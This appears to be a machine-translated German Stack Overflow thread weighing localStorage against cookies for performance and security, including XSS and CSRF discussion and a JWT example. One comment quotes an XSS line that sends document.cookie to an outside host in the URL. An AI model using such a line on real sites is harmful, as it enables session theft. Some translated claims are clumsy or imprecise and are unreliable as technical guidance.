Lokale Speicherung gegen Cookies

1027

Ich möchte die Ladezeiten meiner Websites reduzieren, indem ich alle Cookies in den lokalen Speicher verschiebe, da sie anscheinend dieselbe Funktionalität haben. Gibt es Vor- / Nachteile (insbesondere in Bezug auf die Leistung) bei der Verwendung des lokalen Speichers als Ersatz für die Cookie-Funktionalität, mit Ausnahme der offensichtlichen Kompatibilitätsprobleme?

Gio Borje
quelle
107
Möglicher Nachteil: localStorge-Werte auf sicheren (SSL) Seiten sind isoliert. Wenn Ihre Site sowohl über http- als auch über https-Seiten verfügt, können Sie beim Besuch einer https-Seite nicht auf die auf einer http-Seite festgelegten Werte zugreifen. Ich habe gerade localStorage für einen Ajax-Minikarren in einem Magento-Geschäft ausprobiert. Epic fail ...
6
überraschend gut unterstützt (im Vergleich zu dem, was ich erwartet hatte) caniuse.com/#search=localstorage
Simon_Weaver
6
Einige Benutzer haben Cookies in der Regel auch in ihren Browsern deaktiviert. Lokaler Speicher könnte für diese Benutzer besser funktionieren.
Evolross
9
" Möglicher Nachteil: [localStorage] -Werte auf sicheren (SSL) Seiten sind isoliert. " Das ist der große Vorteil.
Neugieriger
13
Deshalb sollten Sie SSL einfach auf Ihrer Website erzwingen ... Ich sehe keinen Grund, beide Versionen einer Seite anzubieten, wenn Sie bereits über die SSL-Version verfügen.
xji

Antworten:

1277

Cookies und lokale Speicherung dienen unterschiedlichen Zwecken. Cookies dienen hauptsächlich zum Lesen auf der Serverseite . Der lokale Speicher kann nur vom Client gelesen werden . Die Frage ist also in Ihrer App, wer diese Daten benötigt - der Client oder der Server?

Wenn es Ihr Client (Ihr JavaScript) ist, dann wechseln Sie auf jeden Fall. Sie verschwenden Bandbreite, indem Sie alle Daten in jedem HTTP-Header senden.

Wenn es sich um Ihren Server handelt, ist der lokale Speicher nicht so nützlich, da Sie die Daten irgendwie weiterleiten müssten (mit Ajax oder ausgeblendeten Formularfeldern oder Ähnlichem). Dies ist möglicherweise in Ordnung, wenn der Server für jede Anforderung nur eine kleine Teilmenge der Gesamtdaten benötigt.

In jedem Fall sollten Sie Ihr Sitzungscookie als Cookie belassen.

Nach dem technischen Unterschied und auch nach meinem Verständnis:

  1. Cookies sind nicht nur eine alte Methode zum Speichern von Daten, sondern geben Ihnen auch ein Limit von 4096 Bytes (eigentlich 4095) - pro Cookie. Lokaler Speicher ist so groß wie 5 MB pro Domain - SO Question erwähnt dies auch.

  2. localStorageist eine Implementierung der StorageSchnittstelle. Es speichert Daten ohne Ablaufdatum und wird nur über JavaScript oder den Browser-Cache / lokal gespeicherte Daten gelöscht - im Gegensatz zum Ablauf von Cookies.

jpsimons
quelle
30
HTML5 verfügt über einen Speicher mit Sitzungsbereich, der auch als Ersatz für Sitzungscookies verwendet werden kann.
Pat Niemeyer
5
@PatNiemeyer, Sie können davon ausgehen, sessionStoragedass ein Cookie abgelaufen ist, bis der Browser geschlossen wird (nicht die Registerkarte). @darkporter, danke für die Antwort. Ich würde jedoch gerne den technischen Unterschied zwischen Cookies und lokalem Speicher hören. Warten auf Ihre Bearbeitung.
Om Shankar
28
@OmShankar Ich bin mir nicht sicher, ob Sie diesen Zweifel noch haben, aber hier ist der Unterschied: localStorage Bleibt auf dem Client, während cookieser mit dem HTTP-Header gesendet wird. Das ist der größte (aber nicht der einzige) Unterschied zwischen ihnen.
Andre Calil
16
Wenn Ihre Client-App mit der REST-API kommuniziert, ist die Verwendung von Cookies zum Speichern und Übertragen der Sitzungs-ID in REST nicht idiomatisch. Für mich sehen Cookies also wie eine alte Technologie aus, die wahrscheinlich durch lokalen Speicher ersetzt werden sollte (+ JavaScript, wenn Sie Daten wie die Sitzungs-ID an den Server übergeben müssen).
Tvaroh
8
Lokaler Speicher ist nicht unbedingt eine sicherere Wahl als Cookies, da er für XSS-Angriffe anfällig ist. Persönlich würde ich mich für ein verschlüsseltes HTTPS-Cookie (möglicherweise mit JWT oder JWE) mit einem sorgfältig geplanten Ablaufschema entscheiden. Implementieren Sie sowohl eine Ablaufrichtlinie auf Cookie-Ebene als auch einen serverseitigen Cookie-Erneuerungsprozess, um die Wahrscheinlichkeit zu verringern, dass ein Cookie von böswilligen Dritten verwendet wird. Ich habe unten eine Antwort geschrieben, in der ich Teile eines Artikels von Stormpath zu diesem Thema zitiere.
XtraSimplicity
231

Im Zusammenhang mit JWTs hat Stormpath einen ziemlich hilfreichen Artikel verfasst, in dem mögliche Speichermöglichkeiten und die (Nachteile) der einzelnen Methoden beschrieben werden.

Es gibt auch einen kurzen Überblick über XSS- und CSRF-Angriffe und wie Sie sie bekämpfen können.

Ich habe einige kurze Ausschnitte des folgenden Artikels angehängt, falls der Artikel offline geschaltet wird oder die Website ausfällt.

Lokaler Speicher

Probleme:

Auf den Webspeicher (localStorage / sessionStorage) kann über JavaScript in derselben Domäne zugegriffen werden. Dies bedeutet, dass jedes auf Ihrer Site ausgeführte JavaScript Zugriff auf den Webspeicher hat und daher anfällig für Cross-Site-Scripting-Angriffe (XSS) sein kann. Kurz gesagt, XSS ist eine Art von Sicherheitsanfälligkeit, bei der ein Angreifer JavaScript einfügen kann, das auf Ihrer Seite ausgeführt wird. Grundlegende XSS-Angriffe versuchen, JavaScript über Formulareingaben einzufügen, wobei der Angreifer eine Warnung ausgibt ("Sie werden gehackt"). in ein Formular, um zu sehen, ob es vom Browser ausgeführt wird und von anderen Benutzern angezeigt werden kann.

Verhütung:

Um XSS zu verhindern, besteht die allgemeine Antwort darin, alle nicht vertrauenswürdigen Daten zu maskieren und zu codieren. Dies ist jedoch weit von der ganzen Geschichte entfernt. Im Jahr 2015 verwenden moderne Web-Apps JavaScript, das auf CDNs oder außerhalb der Infrastruktur gehostet wird. Moderne Web-Apps enthalten JavaScript-Bibliotheken von Drittanbietern für A / B-Tests, Trichter- / Marktanalysen und Anzeigen. Wir verwenden Paketmanager wie Bower, um den Code anderer Leute in unsere Apps zu importieren.

Was ist, wenn nur eines der von Ihnen verwendeten Skripte kompromittiert wird? Schädliches JavaScript kann in die Seite eingebettet werden, und der Webspeicher ist gefährdet. Durch diese Art von XSS-Angriffen kann der Webspeicher aller Benutzer, die Ihre Website besuchen, ohne deren Wissen abgerufen werden. Dies ist wahrscheinlich der Grund, warum eine Reihe von Organisationen raten, nichts Wertvolles zu speichern oder Informationen im Webspeicher zu vertrauen. Dies umfasst Sitzungskennungen und Token.

Als Speichermechanismus erzwingt Web Storage während der Übertragung keine sicheren Standards. Wer Web Storage liest und verwendet, muss seine Sorgfalt walten lassen, um sicherzustellen, dass die JWT immer über HTTPS und niemals über HTTP gesendet wird.

Kekse

Probleme:

Cookies sind bei Verwendung mit dem HttpOnly-Cookie-Flag nicht über JavaScript zugänglich und gegen XSS immun. Sie können auch das Secure Cookie-Flag setzen, um sicherzustellen, dass das Cookie nur über HTTPS gesendet wird. Dies ist einer der Hauptgründe dafür, dass Cookies in der Vergangenheit zum Speichern von Token oder Sitzungsdaten verwendet wurden. Moderne Entwickler zögern, Cookies zu verwenden, da sie traditionell verlangen, dass der Status auf dem Server gespeichert wird, wodurch RESTful Best Practices verletzt werden. Cookies als Speichermechanismus erfordern nicht, dass der Status auf dem Server gespeichert wird, wenn Sie eine JWT im Cookie speichern. Dies liegt daran, dass der JWT alles kapselt, was der Server benötigt, um die Anforderung zu bedienen.

Cookies sind jedoch anfällig für eine andere Art von Angriff: Cross-Site Request Forgery (CSRF). Ein CSRF-Angriff ist eine Art von Angriff, der auftritt, wenn eine böswillige Website, E-Mail oder ein Blog dazu führt, dass der Webbrowser eines Benutzers eine unerwünschte Aktion auf einer vertrauenswürdigen Website ausführt, auf der der Benutzer derzeit authentifiziert ist. Dies ist ein Exploit, wie der Browser mit Cookies umgeht. Ein Cookie kann nur an die Domänen gesendet werden, in denen es zulässig ist. Standardmäßig ist dies die Domäne, die das Cookie ursprünglich gesetzt hat. Der Cookie wird für eine Anfrage gesendet, unabhängig davon, ob Sie sich auf galaxies.com oder hahagonnahackyou.com befinden.

Verhütung:

Moderne Browser unterstützen die SameSiteFlagge zusätzlich zu HttpOnlyund Secure. Der Zweck dieses Flags besteht darin, zu verhindern, dass das Cookie in standortübergreifenden Anforderungen übertragen wird, und so viele Arten von CSRF-Angriffen zu verhindern.

Für Browser, die dies nicht unterstützen SameSite, kann CSRF durch Verwendung synchronisierter Token-Muster verhindert werden. Das klingt kompliziert, aber alle modernen Web-Frameworks unterstützen dies.

AngularJS bietet beispielsweise eine Lösung, mit der überprüft werden kann, ob nur Ihre Domain auf das Cookie zugreifen kann. Direkt aus AngularJS-Dokumenten:

Bei der Ausführung von XHR-Anforderungen liest der $ http-Dienst ein Token aus einem Cookie (standardmäßig XSRF-TOKEN) und legt es als HTTP-Header (X-XSRF-TOKEN) fest. Da nur JavaScript, das auf Ihrer Domain ausgeführt wird, das Cookie lesen kann, kann Ihr Server sicher sein, dass das XHR von JavaScript stammt, das auf Ihrer Domain ausgeführt wird. Sie können diesen CSRF-Schutz zustandslos machen, indem Sie einen xsrfTokenJWT-Anspruch hinzufügen:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Durch die Nutzung des CSRF-Schutzes Ihres Web-App-Frameworks sind Cookies für die Speicherung eines JWT absolut stabil. CSRF kann auch teilweise verhindert werden, indem Sie den HTTP-Referer und den Origin-Header in Ihrer API überprüfen. CSRF-Angriffe enthalten Referer- und Origin-Header, die nicht mit Ihrer Anwendung zusammenhängen.

Den vollständigen Artikel finden Sie hier: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Sie haben auch einen hilfreichen Artikel darüber, wie JWTs im Hinblick auf die Struktur des Tokens selbst am besten entworfen und implementiert werden können: https://stormpath.com/blog/jwt-the-right-way/

XtraSimplicity
quelle
6
Hervorragender Punkt. Überrascht, dass die Sicherheitsauswirkungen des lokalen Speichers (oder dessen Fehlen für XSS) bei einer so gut gelesenen Frage noch nicht erwähnt wurden - mit Ausnahme einer Antwort, die meiner Meinung nach fälschlicherweise sicherer ist!
Barry Pollard
25
Ich finde das ganze Sicherheitsgespräch ein bisschen ablenkend, um ehrlich zu sein. Ja, localStorageist für andere Skripte auf der Seite zugänglich ... Aber auch XMLHttpRequest... Und ja, das HttpOnly-Flag schützt vor dem Diebstahl des Cookies, aber der Browser sendet es trotzdem automatisch an die entsprechende Domain, also ... im Grunde genommen, wenn Sie böswillige Skripte haben Wenn Sie auf Ihrer Seite laufen, sind Sie bereits gehackt.
Stijn de Witt
3
@StijndeWitt Jede Schutzschicht hat ihre eigene Kraft und Schwäche. Daher ist es normalerweise besser, mehrere Schutzschichten zu haben. Nur um Ihnen ein Beispiel zu geben: HttpOnly verhindert auch Nicht-Ajax-Angriffe wie window.location = 'http://google.com?q=' + escape(document.cookie);. Dieser Angriff umgeht die CORS-Prüfung des Browsers.
Memet Olsen
Angenommen, Sie haben weniger als vollständig vertrauenswürdige Anbieter für einige Dinge wie Anzeigen. Warum werden Ihre Anzeigen überhaupt von derselben Domain geschaltet wie Ihre eigenen vertrauenswürdigen Inhalte? Anzeigen müssen nur auf der Webseite geschaltet werden. Normalerweise muss JS nicht auf der Seite geschaltet werden. So viel Integration für Inhalte von Drittanbietern ist nicht erforderlich.
Neugieriger
Warum hilft ein csrf-Token in einem Cookie (das per Definition nicht nur http sein darf, damit es über JavaScript gelesen und über einen Header gesendet werden kann) in Bezug auf die Sicherheit? Wenn meine Site für xss anfällig ist, kann das Cookie so einfach wie lokaler / Sitzungsspeicher gelesen werden.
Juangamnik
96

Mit localStoragekönnen Webanwendungen Daten lokal im Browser des Benutzers speichern. Vor HTML5 mussten Anwendungsdaten in Cookies gespeichert werden, die in jeder Serveranforderung enthalten waren. Große Datenmengen können lokal gespeichert werden, ohne die Leistung der Website zu beeinträchtigen. Obwohl localStoragees moderner ist, haben beide Techniken einige Vor- und Nachteile.

Kekse

Vorteile

  • Legacy-Unterstützung (es gibt sie schon immer)
  • Persistente Daten
  • Ablaufdaten

Nachteile

  • Jede Domain speichert alle Cookies in einer einzigen Zeichenfolge, was das Parsen von Daten erschweren kann
  • Die Daten sind unverschlüsselt, was zu einem Problem wird, da ... ... obwohl sie klein sind, Cookies mit jeder HTTP-Anfrage gesendet werden. Begrenzte Größe (4 KB)
  • Die SQL-Injection kann über ein Cookie ausgeführt werden

Lokaler Speicher

Vorteile

  • Unterstützung durch die meisten modernen Browser
  • Persistente Daten, die direkt im Browser gespeichert werden
  • Für lokale Speicherdaten gelten Regeln gleichen Ursprungs
  • Wird nicht bei jeder HTTP-Anfrage gesendet
  • ~ 5 MB Speicher pro Domain (das sind 5120 KB)

Nachteile

  • Bisher von nichts unterstützt: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Wenn der Server gespeicherte Clientinformationen benötigt, müssen Sie diese absichtlich senden.

localStorageDie Verwendung ist fast identisch mit der ersten Sitzung. Sie haben ziemlich genaue Methoden, so dass der Wechsel von Sitzung zu Sitzung localStoragewirklich ein Kinderspiel ist. Wenn gespeicherte Daten für Ihre Anwendung wirklich wichtig sind, werden Sie wahrscheinlich Cookies als Backup verwenden, falls diese localStoragenicht verfügbar sind. Wenn Sie die Browserunterstützung überprüfen möchten localStorage, müssen Sie nur dieses einfache Skript ausführen:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"localStorage-Werte auf sicheren (SSL) Seiten sind isoliert", wie jemand bemerkt hat. Beachten Sie, dass localStorage nicht verfügbar ist, wenn Sie vom gesicherten Protokoll "http" zum gesicherten Protokoll "https" wechseln, auf das das Cookie weiterhin zugreifen kann. Dies ist wichtig, wenn Sie mit sicheren Protokollen arbeiten.

DevWL
quelle
1
Die Überprüfung, die Sie durchführen, ist nicht sehr zuverlässig. Es gibt Browser und Modi (privat), die über das Speicherobjekt verfügen, jedoch keine akuten Werte festlegen. Die einzige Möglichkeit, die tatsächliche Unterstützung zu überprüfen, besteht darin, einen Satz zu entfernen.
JavaScript
Punkt genommen, ich habe meine Antwort in Bezug auf Joe Antwort aktualisiert auf: stackoverflow.com/questions/16427636/…
DevWL
10
Da "SQL-Injection kann durchgeführt werden" als Kontra des Cookies aufgeführt ist, sagen Sie, dass es nicht über localStorage ausgeführt werden kann?
Martin Schneider
Ein weiterer Profi für Cookies. Cookies können als HTTPOnly markiert werden. Dies bedeutet, dass auf sie nicht über JavaScript zugegriffen werden kann, was wiederum bedeutet, dass keine böswilligen XSS-Angriffe den Cookie-Inhalt abrufen können. Aus diesem Grund würde ich nicht unbedingt sagen, dass der lokale Speicher sicherer ist als Cookies.
wp-overwatch.com
@ Mr.Me Während XSS-Angriffe kein HTTPOnly-Cookie lesen können, kann der Angreifer dennoch alle HTTP-Anforderungen ausführen, die der Benutzer (per Definition) nur durch eine Browsersitzung ausführen kann. Angenommen, das Sitzungscookie ist eine undurchsichtige Kennung, wie es fast alle Sitzungscookies sind, ist das Lesen des Cookiewerts nur nützlich, um eine HTTP-Anforderung einschließlich dieser auszuführen: Sie lernen nichts nur mit dem Cookiewert. (Beachten Sie, dass Sitzungscookies manchmal mit einer bestimmten Quell-IP-Adresse, einem Benutzeragenten-Header oder anderen Browsereigenschaften verknüpft werden können. XSS-Angriffe führen HTTP-Anforderungen vom Browser aus, sodass diese übereinstimmen.)
neugieriger
7

Die Geschwindigkeit des lokalen Speichers hängt stark vom Browser ab, den der Client verwendet, sowie vom Betriebssystem. Chrome oder Safari auf einem Mac können viel schneller sein als Firefox auf einem PC, insbesondere mit neueren APIs. Wie immer ist das Testen dein Freund (ich konnte keine Benchmarks finden).

Ich sehe wirklich keinen großen Unterschied zwischen Cookies und lokalem Speicher. Außerdem sollten Sie sich mehr Sorgen über Kompatibilitätsprobleme machen: Nicht alle Browser unterstützen bereits die neuen HTML5-APIs. Daher sind Cookies die beste Wahl für Geschwindigkeit und Kompatibilität.

pop850
quelle
2
Es ist nur ein internes Projekt, daher sind Dinge wie Cross-Browser-Kompatibilität nicht wirklich notwendig. Da Cookies mit jeder HTTPRequest gesendet werden (meine Anwendung hat ~ 77 Anfragen), bedeutet dies einen zusätzlichen Overhead von ~ 500 KB. Ich weiß, dass die offensichtliche Lösung ein CDN ist, aber ich möchte etwas ausprobieren, das nicht serverabhängig ist. Ich konnte selbst keine Benchmarks finden und deshalb hatte ich gehofft, dass jemand hier es weiß.
Gio Borje
14
Warum sollten Chrome oder Safari auf einem Mac schneller sein? Es ist so ziemlich der gleiche Browser-Code, der ausgeführt wird, egal ob Sie unter Mac, Linux oder Windows arbeiten.
Mark K Cowan
7

Es ist auch erwähnenswert, dass localStoragedies nicht verwendet werden kann, wenn Benutzer in einigen Versionen von Mobile Safari im "privaten" Modus surfen.

Zitiert aus MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Hinweis: Ab iOS 5.1 speichert Safari Mobile localStorage-Daten im Cache-Ordner, der auf Geheiß des Betriebssystems gelegentlich bereinigt wird, normalerweise wenn der Speicherplatz knapp ist. Der private Browsermodus von Safari Mobile verhindert auch das Schreiben in localStorage vollständig.

benjaminz
quelle
6

Der lokale Speicher kann bis zu 5 MB Offline-Daten speichern, während die Sitzung auch bis zu 5 MB Daten speichern kann. Cookies können jedoch nur 4-KB-Daten im Textformat speichern.

LOCAl- und Sitzungsspeicherdaten im JSON-Format, daher einfach zu analysieren. Die Cookie-Daten liegen jedoch im Zeichenfolgenformat vor.

Avinash Malhotra
quelle
6

Cookies :

  1. Vor HTML5 eingeführt.
  2. Hat Ablaufdatum.
  3. Von JS oder durch Clear Browsing Daten des Browsers oder nach Ablaufdatum gelöscht.
  4. Wird bei jeder Anfrage an den Server gesendet.
  5. Die Kapazität beträgt 4 KB.
  6. Nur Zeichenfolgen können in Cookies gespeichert werden.
  7. Es gibt zwei Arten von Cookies: Persistent und Sitzung.

Lokaler Speicher:

  1. Eingeführt mit HTML5.
  2. Hat kein Ablaufdatum.
  3. Löschen durch JS oder durch Löschen der Browserdaten des Browsers.
  4. Sie können auswählen, wann die Daten an den Server gesendet werden müssen.
  5. Die Kapazität beträgt 5 MB.
  6. Daten werden unbegrenzt gespeichert und müssen eine Zeichenfolge sein.
  7. Nur einen Typ haben.
Seyedraouf Modarresi
quelle
6. localStorage kann nur Zeichenfolgen speichern, Grundelemente und Objekte müssen vor dem Speichern in Zeichenfolgen konvertiert werden. 7. sessionStorage ist ebenfalls verfügbar und mit localStorage identisch, außer dass es nicht bestehen bleibt
Robbie Milejczak
Sie können Stiche nur im Lager aufbewahren
TheMisir